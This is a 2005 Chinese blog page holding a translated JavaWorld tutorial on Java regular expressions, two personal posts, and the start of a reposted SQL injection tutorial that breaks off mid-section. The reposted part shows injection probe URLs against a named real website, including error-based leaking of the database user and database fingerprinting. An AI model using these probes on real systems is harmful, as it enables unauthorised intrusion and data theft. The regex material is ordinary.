输出展示了两个匹配。不像 a? 和 a*，a+ 没有匹配a的却失。因而，没有零长度匹配产生。像 a*，a+匹配了连续的a。

4. java RegexDemo a{2} aababbaaaab: 使用greedy quantifier 来匹配中的每一个 aababbaaaab中的 aa序列。以下是输出结果：

Regex = a{2}
Text = aababbaaaab

Found aa
starting at index 0 and ending at index 2

Found aa
starting at index 6 and ending at index 8

Found aa
starting at index 8 and ending at index 10

5. java RegexDemo a{2,} aababbaaaab: 使用了greedy quantifier 来匹配在ababbaaaab中两个或更多的匹配，以下是输出结果：

Regex = a{2,}
Text = aababbaaaab

Found aa
starting at index 0 and ending at index 2

Found aaaa
starting at index 6 and ending at index 10

6. java RegexDemo a{1,3} aababbaaaab: 使用greedy quantifier 来匹配在aababbaaaab中出现的a、aa或者aaa。以下是输出结果：

Regex = a{1,3}
Text = aababbaaaab

Found aa
starting at index 0 and ending at index 2

Found a
starting at index 3 and ending at index 4

Found aaa
starting at index 6 and ending at index 9

Found a
starting at index 9 and ending at index 10

7. java RegexDemo a+? abaa: 使用一个reluctant quantifier 在abaa中一次或多次匹配a。以下是输出结果：

Regex = a+?
Text = abaa

Found a
starting at index 0 and ending at index 1

Found a
starting at index 2 and ending at index 3

Found a
starting at index 3 and ending at index 4

不像在第三个例中的greedy变量，reluctant 示例产生了三个单独的匹配，因为reluctant quantifier尽力的查找最短的匹配。

8. java RegexDemo .*+end "This is the end": 使用了possessive quantifier 来匹配在this is the end中的以end结尾的任意字符0次或者多次。以下是输出结果：

Regex = .*+end
Text = This is the end

由于这个possessive quantifier consume了整个文本，没有留下任何东西来匹配end，它没有产生匹配。相比之下，在java RegexDemo .*end "This is the end" 的greedy quantifier，因为它每次backing off一个字符直到最右端的end匹配，产生了一个匹配。(这个quantifier与greedy的不同就在后者的匹配过程中一旦匹配的字符，在随后的匹配中就不再使用。因此.*这部分正则表达式就匹配了全部的字符串，就没有字符可以与end匹配了。)

Boundary matchers

我们有时想在一行的开始、在单词的边界、文本的结束等等匹配pattern。使用 boundary matcher，一个指定了匹配边界的正则表达式结构，完成这个任务。Table 2 表示了Pattern的边界匹配支持。

Table 2. Boundary matchers

Boundary Matcher
Description

^
一行的开始

$
一行的结束

\b
单词的边界

\B
非单词边界

\A
文本的开始

\G
前一个匹配的结束

\Z
The end of the text (but for the final line terminator, if any)

\z
文本结束

下边的命令行示例使用了^ 边界匹配元字符 ensure 由零个或者多个字符跟随的行开始。

java RegexDemo ^The\w* Therefore

^ 指出了前三个字符必须匹配pattern后的T、h和e字符。可跟随任意数量的字符。以上的命令行产生以下输出：

Regex = ^The\w*
Text = Therefore

Found Therefore
starting at index 0 and ending at index 9

把命令行改为java RegexDemo ^The\w* " Therefore"。发生了什么事?因为在therefore前的一个空格，没有匹配被发现。

Embedded flag expressions

Matcher假设了确定的却省值，例如大小写敏感的匹配。一个程序可以使用an embedded flag expression 来覆盖缺省值，也就是，使用一个正则表达式结构，圆括号元字符包围一个问号元字符后跟小写字母。Pattern认可以下的embedded flag expressions ：

(?i): enables 大小写不敏感的pattern 匹配。例如：java RegexDemo (?i)tree Treehouse 来匹配tree和Tree。大小写敏感是缺省值。
(?x): 允许空格和注释用#元字符开始出现在Pattern中。一个matcher 忽略全部它们。例如：java RegexDemo ".at(?x)#match hat, cat, and so on" matter 匹配.at和mat。缺省地，空格和注释式不被允许的；一个matcher 将它们考虑为对match有贡献的字符。
(?s): 使dotall 方式有效。在这种模式中，句点除了其它字符外还匹配text结束。例如：java RegexDemo (?s). \n ，. 匹配了 \n。Nondotall 方式是缺省的：不匹配行结尾。
(?m): 使多行方式有效。在多行模式下 ^ and $ 恰好分别的在一行的终结或末端之后或者之前。例如：java RegexDemo (?m)^.ake make\rlake\n\rtake 匹配 .ake 和 make、 lake与 take。非多行模式是缺省的： ^ and $ match仅在整个文本的开始和结束。
(?u): enables Unicode-aware case folding. This flag works with (?i) to perform case-insensitive matching in a manner consistent with the Unicode Standard. The default: case-insensitive matching that assumes only characters in the US-ASCII character set match。
(?d): enables Unix lines mode. In that mode, a matcher recognizes only the \n line terminator in the context of the ., ^, and $ metacharacters. Non-Unix lines mode is the default: a matcher recognizes all terminators in the context of the aforementioned metacharacters。
Embedded flag expressions 类似于 capturing groups因为两个regex constructs都用圆括号包围字符。不像capturing group，embedded flag expression 没有捕获匹配的字符。因而，一个embedded flag expression是noncapturing group的特例。也就是说，一个不捕获text字符的regex construct ；它指定了由元字符圆括号包围的字符序列。在Pattern''s SDK 文档中出现了一些noncapturing groups。

Tip

为了在正则表达式中指定多个embedded flag 表达式。或者吧它们并排的放在一起 (e.g., (?m)(?i)) 或者把它们的小写字母并排的放在一起 (e.g., (?mi))。

探索java.util.regex 类的方法

java.util.regex包的三个类提供了为帮我书写更健壮的正则表达式代码和创建强大的text处理工具许多的方法。我们从Pattern类开始探索这些方法。

Note

你也可以explore CharSequence 接口的当你创建一个新的字符序列类要实现的方法。仅实现 CharSequence 接口的类是java.nio.CharBuffer， String，和 StringBuffer。

Pattern 方法

除非代码将一个string编译为Pattern对象一个regex表达式式没有用处的。用以下编辑方法中的一个完成这个任务：

public static Pattern compile(String regex): 将regex内容编译为在一个新的Pattern对象内存储的树状结构的对象表示。返回那个对象引用。例如：Pattern p = Pattern.compile ("(?m)^\\.")；创建了一个，存储了一个编译的表示了匹配以句点开始的行的表示。
public static Pattern compile(String regex, int flags): 完成前一个方法的相同任务。然而，它同时考虑包含了flag常量（flags指定的）。Flag常量在Pattern中（except the canonical equivalence flag, CANON_EQ）被作为二选一的embedded flag expressions被声明。例如：Pattern p = Pattern.compile ("^\\.", Pattern.MULTILINE)；和上一个例子等价，Pattern.MULTILINE 常量和the (?m) embedded flag 表达式完成相同的任务。(参考SDK''s Pattern 文档学习其它的常量。) 假如不是这些在Pattern中被定义的常量在flag中出现，方法将抛出IllegalArgumentException 异常。
假如需要，通过调用以下方法可以得到一个Pattern对象的flag和最初的被编译为对象的正则表达式：

public int flags(): 返回当正则表达式编译时指定的Pattern的flag。例如：System.out.println (p.flags ())；输出p引用的的Pattern相关的flag。
public String pattern(): 返回最初的被编译进Pattern的正则表达式。例如：System.out.println (p.pattern ())；输出对应p引用Pattern的正则表达式。（Matcher 类包含了类似的返回Matcher相关的Pattern对象的Pattern pattern() 方法。）
在创建一个Pattern对象后，你一般的通过调用Pattern的公有方法matcher(CharSequence text)获得一个Matcher对象。这个方法需要一个简单的，实现了CharSequence接口的文本对象参数。获得的对象在pattern匹配的过程中扫描输入的文本对象。例如：Pattern p = Pattern.compile ("[^aeiouy]"); Matcher m = p.matcher ("This is a test."); 获得一个在text中匹配所有非元音字母的matcher。

当你想检查一个pattern是否完全的匹配一个文本序列的时候创建Pattern和Matcher对象是令人烦恼的。幸运的是，Pattern提供了一个方便的方法完成这个任务；public static boolean matches(String regex, CharSequence text)。当且仅当整个字符序列匹配regex的pattern的场合下静态方法返回布尔值true。例如：System.out.println (Pattern.matches ("[a-z[\\s]]*", "all lowercase letters and whitespace only"));返回布尔值true，指出仅空格字符和小写字符在all lowercase letters and whitespace only中出现。

书写代码将text分成它的组成部分(例如雇员记录文件到一个字段的set) 是许多开发者发现乏味的任务。Pattern 通过提供一对字符分割方法来减轻那种tedium。

public String [] split(CharSequence text, int limit): 分割在当前的Pattern对象的pattern匹配周围的text。这个方法返回一个数组，它的每一个条目指定了一个从下一个由pattern匹配(或者文本结束)分开的字符序列；且所有条目以它们在text中出现相同的顺序存储。书组条目的数量依赖于limit，它同时也控制了匹配发生次数。一个正数意味着，至多，limit-1 个匹配被考虑且数组的长度不大于限定的条目数。一个负值以为着所有匹配的可能都被考虑且数组可以任意长。一个0值以为着所有可能匹配的条目都被考虑，数组可以有任意的长度，且尾部的空字符串被丢弃。
public String [] split(CharSequence text): 用0作为限制调用前边方法，返回方法调用的结果。
假如你想一个拆分雇员记录，包含了姓名，年龄，街道和工资，为它的组成部分。以下的代码用split(CharSequence text)方法完成了这个任务：

Pattern p = Pattern.compile (",\\s");
String [] fields = p.split ("John Doe, 47, Hillsboro Road, 32000");
for (int i = 0; i < fields.length; i++)
System.out.println (fields [i]);

The code fragment above specifies a regex that matches a comma character immediately followed by a single-space character and produces the following output:

John Doe
47
Hillsboro Road
32000

Note

String合并了三个方便的方法调用它们等价的Pattern方法： public boolean matches(String regex), public String [] split(String regex), and public String [] split(String regex, int limit)。

Matcher 方法

Matcher对象支持不同类型的pattern匹配操作，例如扫描text查找下一个match；尝试根据一个pattern来匹配整个文本；根据一个pattern尝试匹配部分text。用以下的方法完成这些任务：

public boolean find(): 扫描text查找下一个match。此方法，或者在text的开始扫描，假如上一次的方法调用返回true且这个matcher没有被reset，在前一个match后的第一个字符开始扫描。假如一个match被找到的话返回布尔值true。Listing 1 展示了一个例子。
public boolean find(int start): 重新安排matcher扫描下一个match。扫描从start指定的index开始。假如一个match被找到的话返回布尔值true。例如：m.find (1); 从index1开始扫描。(索引0被忽略。)假如start包含了一个负数或者一个超出了matcfher的text长度的值，这个方法抛出IndexOutOfBoundsException异常。
public boolean matches(): 尝试根据pattern匹配整个text。在这个text匹配的情形下返回true。例如： Pattern p = Pattern.compile ("\\w*"); Matcher m = p.matcher ("abc!"); System.out.println (m.matches ()); 输出false因为整个abc! text 包含了非字母word characters。
public boolean lookingAt(): 尝试根据pattern匹配text。假如一个match被找到的话返回布尔值true。不像 matches()，整个text不需要被匹配。例如：Pattern p = Pattern.compile ("\\w*"); Matcher m = p.matcher ("abc!"); System.out.println (p.lookingAt ()); 输出true因为text abc!的开始部分仅包含word 字符。
不像Pattern对象，Matcher 包含了状态信息。有时，你在一个pattern 匹配后想reset一个matcher清除那些信息。下边的方法reset了一个matcher：

public Matcher reset(): 重置了一个matcher的状态，包括matcher的append position(被清除为0)。下一个pattern的匹配操作从matcher新文本的起始开始。返回当前的matcher对象引用。例如：m.reset (); 通过引用m重置了matcher。
public Matcher reset(CharSequence text): 重新设置一个matcher的状态且设置了matcher的文本内同。下一个pattern的匹配操作在matcher新的文本的起始位置开始。返回当前的matcher对象引用。例如：m.reset ("new text"); 重置m引用的对象并制定新的text作为matcher的新text。
一个matcher的append position 决定了matcher的text的追加到一个StringBuffer对象中的开始位置。以下的方法使用了append position：

public Matcher appendReplacement(StringBuffer sb, String replacement): 读取matcher的text并将它们追加到sb引用的StringBuffer对象。这个方法在前一个pattern match的最后一个字符之后停止读取。此method 然后添加replacement引用的中的characters 到StringBuffer 对象。(替换字符串可以包含上一个匹配捕获的文本的引用，通过dollar-sign characters ($) 和 capturing group 数) 最终，这个方法设置了matcher的append position为最后一个匹配字符的位置加上1。一个当前的matcher对象的引用返回。假如这个matcher对象还没有执行match或者上次的match尝试失败此方法将抛出一个IllegalStateException 异常。假如replacement指定了一个pattern中不存在的capturing group 一个IndexOutOfBoundsException异常将被抛出。
public StringBuffer appendTail(StringBuffer sb): 追加所有的text 到StringBuffer对象并返回对象引用。在最后一次调用appendReplacement(StringBuffer sb, String replacement) 方法之后，调用appendTail(StringBuffer sb) copy剩余的text到StringBuffer对象。
随后的例子调用appendReplacement(StringBuffer sb, String replacement) 和 appendTail(StringBuffer sb) 方法来替换所有在one cat, two cats, or three cats on a fence 中出现的cat为caterpillar。一个capturing group 和在replacement中的capturing group的引用允许在每一个cat匹配后插入erpillar：

Pattern p = Pattern.compile ("(cat)");
Matcher m = p.matcher ("one cat, two cats, or three cats on a fence");
StringBuffer sb = new StringBuffer ();

while (m.find ())
m.appendReplacement (sb, "$1erpillar");

m.appendTail (sb);
System.out.println (sb);

此示例产生如下输出：

one caterpillar, two caterpillars, or three caterpillars on a fence

其它的两个替换方法使用替换的文本替换第一个match和所有的match成为可能：

public String replaceFirst(String replacement): 重置matcher，创建一个新的String对象，拷贝所有匹配的文本字符（直到第一个match）到String，追加替换字符到String，拷贝剩余的字符到Strring，并返回对象引用。（替换字符串可以包含上一个匹配捕获的文本的引用，通过dollar-sign characters ($) 和 capturing group 数。）
public String replaceAll(String replacement): 操作和上一个方法类似。然而，replaceAll(String replacement) 用替换字符替换所有匹配。
正则表达式\s+ 探测在文本中出现的一次或多次出现的空格。随后的例子使用了这个regex 并调用了replaceAll(String replacement) 方法来从text删除duplicate whitespace ：

Pattern p = Pattern.compile ("\\s+");
Matcher m = p.matcher ("Remove the \t\t duplicate whitespace. ");
System.out.println (m.replaceAll (" "));

此示例产生如下输出：

Remove the duplicate whitespace.

Listing 1 包含了System.out.println ("Found " + m.group ());. 注意方法调用group()。此方法是capturing group-oriented 的Matcher方法：

public int groupCount(): 返回在matcher的pattern中capturing groups 的个数。这个计数没有包含特定的capturing group 数字 0，它捕获前一个match（不管一个pattern包含capturing groups与否。）
public String group(): 通过capturing group 数字 0记录返回上一个match的字符。此方法可以根据一个空的字符串返回一个空字符串。假如match还没有被尝试或者上次的match操作失败将抛出IllegalStateException异常。
public String group(int group): 像上一个方法，除了通过group指定的capturing group number返回以前的match字符外。假如没有group number 指定的capturing group在pattern中存在，此方法抛出一个IndexOutOfBoundsException 异常。
以下代码示范了the capturing group 方法：

Pattern p = Pattern.compile ("(.(.(.)))");
Matcher m = p.matcher ("abc");
m.find ();

System.out.println (m.groupCount ());
for (int i = 0; i <= m.groupCount (); i++)
System.out.println (i + ": " + m.group (i));

The example produces the following output:

3
0: abc
1: abc
2: bc
3: c

Capturing group 数字0 保存了previous match 且与has nothing to do with whether 一个capturing group在一个pattern中出现与否没有任何关系。也就是 is (.(.(.)))。其它的三个capturing groups捕获了previous match属于这个capturing groups的字符。例如，number 2, (.(.)), 捕获 bc; and number 3, (.), 捕获 c.

在我们离开讨论Matcher的方法之前，我们将examine四个match位置方法：

public int start(): 返回previous match的开始位置。假如match还没有被执行或者上次的match失败，此方法抛出一个IllegalStateException异常。
public int start(int group): 类似上一个方法，除了返回group指定的capturing group 的相关的previous match 的开始索引外，假如在pattern中没有指定的capturing group number 存在，start(int group) 抛出IndexOutOfBoundsException 异常。
public int end(): 返回上次match中匹配的字符的索引位置加上1。假如match还没有被尝试或者上次的match操作失败将抛出IllegalStateException异常。
public int end(int group): 类似上一个方法，除了返回group指定的capturing group 的相关的previous match 的end索引外。假如在pattern中没有指定的capturing group number 存在，end(int group) 抛出IndexOutOfBoundsException 异常。
下边的示例示范了两个match position 方法，为capturing group number 2报告起始/结束match 位置：

Pattern p = Pattern.compile ("(.(.(.)))");
Matcher m = p.matcher ("abcabcabc");

while (m.find ())
{
System.out.println ("Found " + m.group (2));
System.out.println (" starting at index " + m.start (2) +
" and ending at index " + m.end (2));
System.out.println ();
}

The example produces the following output:

Found bc
starting at index 1 and ending at index 3

Found bc
starting at index 4 and ending at index 6

Found bc
starting at index 7 and ending at index 9

输出show我们仅仅对与capturing group number 2相关的matcher感兴趣，也就是这些匹配的起始结束位置。

Note

String 引入了两个方便的和调用Matcher等价的方法：public String replaceFirst(String regex, String replacement) 和 public String replaceAll(String regex, String replacement)。

PatternSyntaxException methods

Pattern的方法当它们发现非法的正则表达式语法错误的时候抛出PatternSyntaxException 异常。一个异常处理器可以调用PatternSyntaxException 的方法来获得抛出的关于语法错误的PatternSyntaxException 对象的信息。

public String getDescription(): 返回语法错误描述。
public int getIndex(): 返回语法错误发生位置的近似索引或-1，假如index是未知的。
public String getMessage(): 建立一个多行的，包含了其它三个方法返回的信息的综合，以可视的方式指出在pattern中错误的位置字符串。
public String getPattern(): 返回不正确的正则表达式。
因为PatternSyntaxException 从java.lang.RuntimeException继承而来，代码不需要指定错误handler。This proves appropriate when regexes are known to have correct patterns。但当有潜在的pattern语法错误存在的时候，一个异常handler是必需的。因而，RegexDemo的源代码(参看 Listing 1) 包含了try { ... } catch (ParseSyntaxException e) { ... }，它们调用了PatternSyntaxException四个异常方法中的每一个来获得非法pattern的信息。

什么组成了非法的pattern?在embedded flag expression 中没有指定结束的元字符结束符号就是一个例。假如你执行java RegexDemo (?itree Treehouse。此命令的非法正则表达式(?tree pattern 导致 p = Pattern.compile (args [0]); 抛出PatternSyntaxException 异常。你将看到如下输出：

Regex syntax error: Unknown inline modifier near index 3
(?itree
^
Error description: Unknown inline modifier
Error index: 3
Erroneous pattern: (?itree

Note

public PatternSyntaxException(String desc, String regex, int index) 构造函数让你创建你自己的PatternSyntaxException对象， That constructor comes in handy should you ever create your own preprocessing compilation method that recognizes your own pattern syntax, translates that syntax to syntax recognized by Pattern''s compilation methods, and calls one of those compilation methods. If your method''s caller violates your custom pattern syntax, you can throw an appropriate PatternSyntaxException object from that method。

一个正则表达式应用实践

Regexes let you create powerful text-processing applications. One application you might find helpful extracts comments from a Java, C, or C++ source file, and records those comments in another file. Listing 2 presents that application''s source code:

Listing 2. ExtCmnt.java

// ExtCmnt.java

import java.io.*;
import java.util.regex.*;

class ExtCmnt
{
public static void main (String [] args)
{
if (args.length != 2)
{
System.err.println ("usage: java ExtCmnt infile outfile");
return;
}

Pattern p;
try
{
// The following pattern lets this extract multiline comments that
// appear on a single line (e.g., /* same line */) and single-line
// comments (e.g., // some line). Furthermore, the comment may
// appear anywhere on the line.

p = Pattern.compile (".*/\\*.*\\*/|.*//.*$");
}
catch (PatternSyntaxException e)
{
System.err.println ("Regex syntax error: " + e.getMessage ());
System.err.println ("Error description: " + e.getDescription ());
System.err.println ("Error index: " + e.getIndex ());
System.err.println ("Erroneous pattern: " + e.getPattern ());
return;
}

BufferedReader br = null;
BufferedWriter bw = null;

try
{
FileReader fr = new FileReader (args [0]);
br = new BufferedReader (fr);

FileWriter fw = new FileWriter (args [1]);
bw = new BufferedWriter (fw);

Matcher m = p.matcher ("");
String line;
while ((line = br.readLine ()) != null)
{
m.reset (line);
if (m.matches ()) /* entire line must match */
{
bw.write (line);
bw.newLine ();
}
}
}
catch (IOException e)
{
System.err.println (e.getMessage ());
return;
}
finally // Close file.
{
try
{
if (br != null)
br.close ();

if (bw != null)
bw.close ();
}
catch (IOException e)
{
}
}
}
}

在创建Pattern 和Matcher 对象之后，ExtCmnt 逐行的读取一个文本文件的内容。对于每一行，matcher尝试匹配pattern的行，鉴别是一个单行的注释或者多行的注释在一行中出现。假如一行匹配pattern，ExtCmnt 将此行写入另外一个文本文件中。例如，java ExtCmnt ExtCmnt.java out 读取ExtCmnt.java 文件的每一行，根据pattern来尝试着一行，将匹配的行输出到名叫out的文件。 (不要担心理解文件的读写逻辑。我将在将来的文章中explore这些代码。) 在ExtCmnt执行完成，out 文件包含了以下行：

// ExtCmnt.java
// The following pattern lets this extract multiline comments that
// appear on a single line (e.g., /* same line */) and single-line
// comments (e.g., // some line). Furthermore, the comment may
// appear anywhere on the line.
p = Pattern.compile (".*/\\*.*\\*/|.*//.*$");
if (m.matches ()) /* entire line must match */
finally // Close file.

这个输出显示ExtCmnt 并不完美：p = Pattern.compile (".*/\\*.*\\*/|.*//.*$"); 没有描绘一个注释。出现在out中的行因为ExtCmnt的matcher匹配了//字符。

关于pattern ".*/\\*.*\\*/|.*//.*$"由一些有趣的事，竖线元字符metacharacter (|)。依照SDK documentation，圆括号元字符在capturing group和竖线元字符是逻辑操作符号。vertical bar 描述了一个matcher，它使用操作符左侧的正则表达式结构来在matcher的文本中定为一个match。假如没有match存在，matcher使用操作符号右侧的正则表达式进行再次的匹配尝试。

温习

尽管正则表达式简化了在text处理程序中pattern匹配的代码，除非你理解它们，否则你不能有效的在你的程序中使用正则表达式。这篇文章通过介绍给你regex terminology，the java.util.regex 包和示范regex constructs的程序来让你对正则表达式有一个基本的理解。既然你对regexes有了一个基本的理解，建立在通过阅读additional articles (see Resources)和学习java.util.regex''s SDK 文档，那里你可以学习更多的regex constructs ，例如POSIX (Portable Operating System Interface for Unix) 字符类。

我鼓励你用这篇文章中或者其它以前文章中资料中问题email me。(请保持问题和这个栏目讨论的文章相关性。)你的问题和我的回答将出现在相关的学习guides中。)

After writing Java 101 articles for 28 consecutive months, I''m taking a two-month break. I''ll return in May and introduce a series on data structures and algorithms.
About the author

Jeff Friesen has been involved with computers for the past 23 years. He holds a degree in computer science and has worked with many computer languages. Jeff has also taught introductory Java programming at the college level. In addition to writing for JavaWorld, he has written his own Java book for beginners—Java 2 by Example, Second Edition (Que Publishing, 2001; ISBN: 0789725932)—and helped write Using Java 2 Platform, Special Edition (Que Publishing, 2001; ISBN: 0789724685). Jeff goes by the nickname Java Jeff (or JavaJeff). To see what he''s working on, check out his Website at http://www.javajeff.com.

Resources

Download this article''s source code and resource files:
http://www.javaworld.com/javaworld/jw-02-2003/java101/jw-0207-java101.zip
For a glossary specific to this article, homework, and more, see the Java 101 study guide that accompanies this article:
http://www.javaworld.com/javaworld/jw-02-2003/jw-0207-java101guide.html
"Magic with Merlin: Parse Sequences of Characters with the New regex Library," John Zukowski (IBM developerWorks, August 2002) explores java.util.regex''s support for pattern matching and presents a complete example that finds the longest word in a text file:
http://www-106.ibm.com/developerworks/java/library/j-mer0827/
"Matchmaking with Regular Expressions," Benedict Chng (JavaWorld, July 2001) explores regexes in the context of Apache''s Jakarta ORO library:
http://www.javaworld.com/javaworld/jw-07-2001/jw-0713-regex.html
"Regular Expressions and the Java Programming Language," Dana Nourie and Mike McCloskey (Sun Microsystems, August 2002) presents a brief overview of java.util.regex, including five illustrative regex-based applications:
http://developer.java.sun.com/developer/technicalArticles/releases/1.4regex/
In "The Java Platform" (onJava.com), an excerpt from Chapter 4 of O''Reilly''s Java in a Nutshell, 4th Edition, David Flanagan presents short examples of CharSequence and java.util.regex methods:
http://www.onjava.com/pub/a/onjava/excerpt/javanut4_ch04
The Java Tutorial''s "Regular Expressions" lesson teaches the basics of Sun''s java.util.regex package:
http://java.sun.com/docs/books/tutorial/extra/regex/index.html
Wikipedia defines some regex terminology, presents a brief history of regexes, and explores various regex syntaxes:
http://www.wikipedia.org/wiki/Regular_expression
Read Jeff''s previous Java 101 column: "Tools of the Trade, Part 3" (JavaWorld, January 2003):
http://www.javaworld.com/javaworld/jw-01-2003/jw-0103-java101.html?
Check out past Java 101 articles:
http://www.javaworld.com/javaworld/topicalindex/jw-ti-java101.html
Browse the Core Java section of JavaWorld''s Topical Index:
http://www.javaworld.com/channel_content/jw-core-index.shtml
Need some Java help? Visit our Java Beginner discussion:
http://forums.devworld.com/webx?50@@.ee6b804
Java experts answer your toughest Java questions in JavaWorld''s Java Q&A column:
http://www.javaworld.com/javaworld/javaqa/javaqa-index.html
For Tips ''N Tricks, see:
http://www.javaworld.com/javaworld/javatips/jw-javatips.index.html
Sign up for JavaWorld''s free weekly Core Java email newsletter:
http://www.javaworld.com/subscribe
You''ll find a wealth of IT-related articles from our sister publications at IDG.net

posted @ 2005-08-16 10:22 快乐着飞舞着阅读(207) | 评论 (0) | 编辑收藏

梦见搬去鼓楼了

昨天晚上回去时，看到同宿舍的新闻系的舍友，收拾好东西放在一个大包里，放在阳台上。我们系是唯一一个一直在浦口校区的系，在这里呆久了，慢慢也就习惯了这里的清冷，谁知道今天早上作了一个奇怪的梦：我们也搬去鼓楼了，住在一栋外表很破，但是里面还好的宿舍的404里(我现在的宿舍是402)，我在鼓楼校区里随便地走着，但是一切都很陌生，我竟然迷路了。看到小炜他们骑着车在我面前呼啸而过，我就在他们后面追啊追啊....就在这时我醒了，睁眼一看我还躺在浦口，不经意之间有一点遗憾，想来我的潜意识里还是非常想去鼓楼的。起床后跟他们讲，大家笑了一下，都一句话没有说，我看出来他们其实都想去鼓楼的。这个梦不可能成真，但是我还是希望好梦都成真！
好梦都成真！

posted @ 2005-07-09 15:13 快乐着飞舞着阅读(251) | 评论 (0) | 编辑收藏

考虑搬blog中

blogcn 的服务器太不稳定了，不是登不上去，就是慢的要死。虽然有个客户端软件但是那个客户端软件难用无比，每次选择备份日志，都是在一般的时候就出现 http 500错误 (不要说俺的网速慢，俺可是光纤接入，平时下载直接点都是1-2M/s) 而且备份出来的东西竟然不是 xml格式而是放在一个access文件里，faint to death！
所以恨了狠心决定，在最近逐步的把原来 blogcn上的东西转到这个blog上来。tnnd！

posted @ 2005-07-09 14:58 快乐着飞舞着阅读(152) | 评论 (0) | 编辑收藏

[转载] SQL injection 天书

作者:NB联盟－小竹

引言

随着B/S模式应用开发的发展，使用这种模式编写应用程序的程序员也越来越多。但是由于

这个行业的入门门槛不高，程序员的水平及经验也参差不齐，相当大一部分程序员在编写

代码的时候，没有对用户输入数据的合法性进行判断，使应用程序存在安全隐患。用户可

以提交一段数据库查询代码，根据程序返回的结果，获得某些他想得知的数据，这就是所

谓的SQL Injection，即ＳＱＬ注入。

ＳＱＬ注入是从正常的WWW端口访问，而且表面看起来跟一般的Web页面访问没什么区别，

所以目前市面的防火墙都不会对ＳＱＬ注入发出警报，如果管理员没查看IIS日志的习惯，

可能被入侵很长时间都不会发觉。

但是，ＳＱＬ注入的手法相当灵活，在注入的时候会碰到很多意外的情况。能不能根据具

体情况进行分析，构造巧妙的SQL语句，从而成功获取想要的数据，是高手与“菜鸟”的根

本区别。

根据国情，国内的网站用ASP+Access或SQLServer的占70%以上，PHP+MySQ占L20%，其他的

不足10%。在本文，我们从分入门、进阶至高级讲解一下ASP注入的方法及技巧，PHP注入的

文章由NB联盟的另一位朋友zwell撰写，希望对安全工作者和程序员都有用处。了解 ASP注

入的朋友也请不要跳过入门篇，因为部分人对注入的基本判断方法还存在误区。大家准备

好了吗？Let's Go...

入门篇

如果你以前没试过ＳＱＬ注入的话，那么第一步先把IE菜单=>工具=>Internet选项=>高级

=>显示友好 HTTP 错误信息前面的勾去掉。否则，不论服务器返回什么错误，IE都只显示

为HTTP 500服务器错误，不能获得更多的提示信息。

第一节、ＳＱＬ注入原理

以下我们从一个网www.19cn.com开始（注：本文发表前已征得该站站长同意，大部分都是

真实数据）。

在网站首页上，有名为“IE不能打开新窗口的多种解决方法”的链接，地址为：http://w

ww.19cn.com/showdetail.asp?id=49，我们在这个地址后面加上单引号’，服务器会返回

下面的错误提示：

Microsoft JET Database Engine 错误 '80040e14'

字符串的语法错误在查询表达式 'ID=49'' 中。

/showdetail.asp，行8

从这个错误提示我们能看出下面几点：

1. 网站使用的是Access数据库，通过JET引擎连接数据库，而不是通过ODBC。

2. 程序没有判断客户端提交的数据是否符合程序要求。

3. 该SQL语句所查询的表中有一名为ID的字段。

从上面的例子我们可以知道，ＳＱＬ注入的原理，就是从客户端提交特殊的代码，从而收

集程序及服务器的信息，从而获取你想到得到的资料。

第二节、判断能否进行ＳＱＬ注入

看完第一节，有一些人会觉得：我也是经常这样测试能否注入的，这不是很简单吗？

其实，这并不是最好的方法，为什么呢？

首先，不一定每台服务器的IIS都返回具体错误提示给客户端，如果程序中加了cint(参数

)之类语句的话，ＳＱＬ注入是不会成功的，但服务器同样会报错，具体提示信息为处理

URL 时服务器上出错。请和系统管理员联络。

其次，部分对ＳＱＬ注入有一点了解的程序员，认为只要把单引号过滤掉就安全了，这种

情况不为少数，如果你用单引号测试，是测不到注入点的

　　那么，什么样的测试方法才是比较准确呢？答案如下：

① http://www.19cn.com/showdetail.asp?id=49

② http://www.19cn.com/showdetail.asp?id=49;;and 1=1

③ http://www.19cn.com/showdetail.asp?id=49;;and 1=2

这就是经典的1=1、1=2测试法了，怎么判断呢？看看上面三个网址返回的结果就知道了：

可以注入的表现：

① 正常显示（这是必然的，不然就是程序有错误了）

② 正常显示，内容基本与①相同

③ 提示BOF或EOF（程序没做任何判断时）、或提示找不到记录（判断了rs.eof时）、或显

示内容为空（程序加了on error resume next）

不可以注入就比较容易判断了，①同样正常显示，②和③一般都会有程序定义的错误提示

，或提示类型转换时出错。

　　当然，这只是传入参数是数字型的时候用的判断方法，实际应用的时候会有字符型和

搜索型参数，我将在中级篇的“ＳＱＬ注入一般步骤”再做分析。

第三节、判断数据库类型及注入方法

不同的数据库的函数、注入方法都是有差异的，所以在注入之前，我们还要判断一下数据

库的类型。一般ASP最常搭配的数据库是Access和SQLServer，网上超过99%的网站都是其中

之一。

怎么让程序告诉你它使用的什么数据库呢？来看看：

SQLServer有一些系统变量，如果服务器IIS提示没关闭，并且SQLServer返回错误提示的话

，那可以直接从出错信息获取，方法如下：

http://www.19cn.com/showdetail.asp?id=49;;and user>0

这句语句很简单，但却包含了SQLServer特有注入方法的精髓，我自己也是在一次无意的测

试中发现这种效率极高的猜解方法。让我看来看看它的含义：首先，前面的语句是正常的

，重点在and user>0，我们知道，user是SQLServer的一个内置变量，它的值是当前连接的

用户名，类型为nvarchar。拿一个 nvarchar的值跟int的数0比较，系统会先试图将nvarc

har的值转成int型，当然，转的过程中肯定会出错，SQLServer的出错提示是：将nvarcha

r值 ”abc” 转换数据类型为 int 的列时发生语法错误，呵呵，abc正是变量user的值，

这样，不废吹灰之力就拿到了数据库的用户名。在以后的篇幅里，大家会看到很多用这种

方法的语句。

顺便说几句，众所周知，SQLServer的用户sa是个等同Adminstrators权限的角色，拿到了

sa权限，几乎肯定可以拿到主机的 Administrator了。上面的方法可以很方便的测试出是

否是用sa登录，要注意的是：如果是sa登录，提示是将”dbo”转换成int的列发生错误，

而不是”sa”。

如果服务器IIS不允许返回错误提示，那怎么判断数据库类型呢？我们可以从Access和SQL

Server和区别入手，Access和 SQLServer都有自己的系统表，比如存放数据库中所有对象

的表，Access是在系统表[msysobjects]中，但在Web环境下读该表会提示“没有权限”，

SQLServer是在表[sysobjects]中，在Web环境下可正常读取。

在确认可以注入的情况下，使用下面的语句：

http://www.19cn.com/showdetail.asp?id=49;;and (select count(*) from sysobject

s)>0

http://www.19cn.com/showdetail.asp?id=49;;and (select count(*) from msysobjec

ts)>0

如果数据库是SQLServer，那么第一个网址的页面与原页面http://www.19cn.com/showdet

ail.asp?id= ;49是大致相同的；而第二个网址，由于找不到表msysobjects，会提示出错

，就算程序有容错处理，页面也与原页面完全不同。

如果数据库用的是Access，那么情况就有所不同，第一个网址的页面与原页面完全不同；

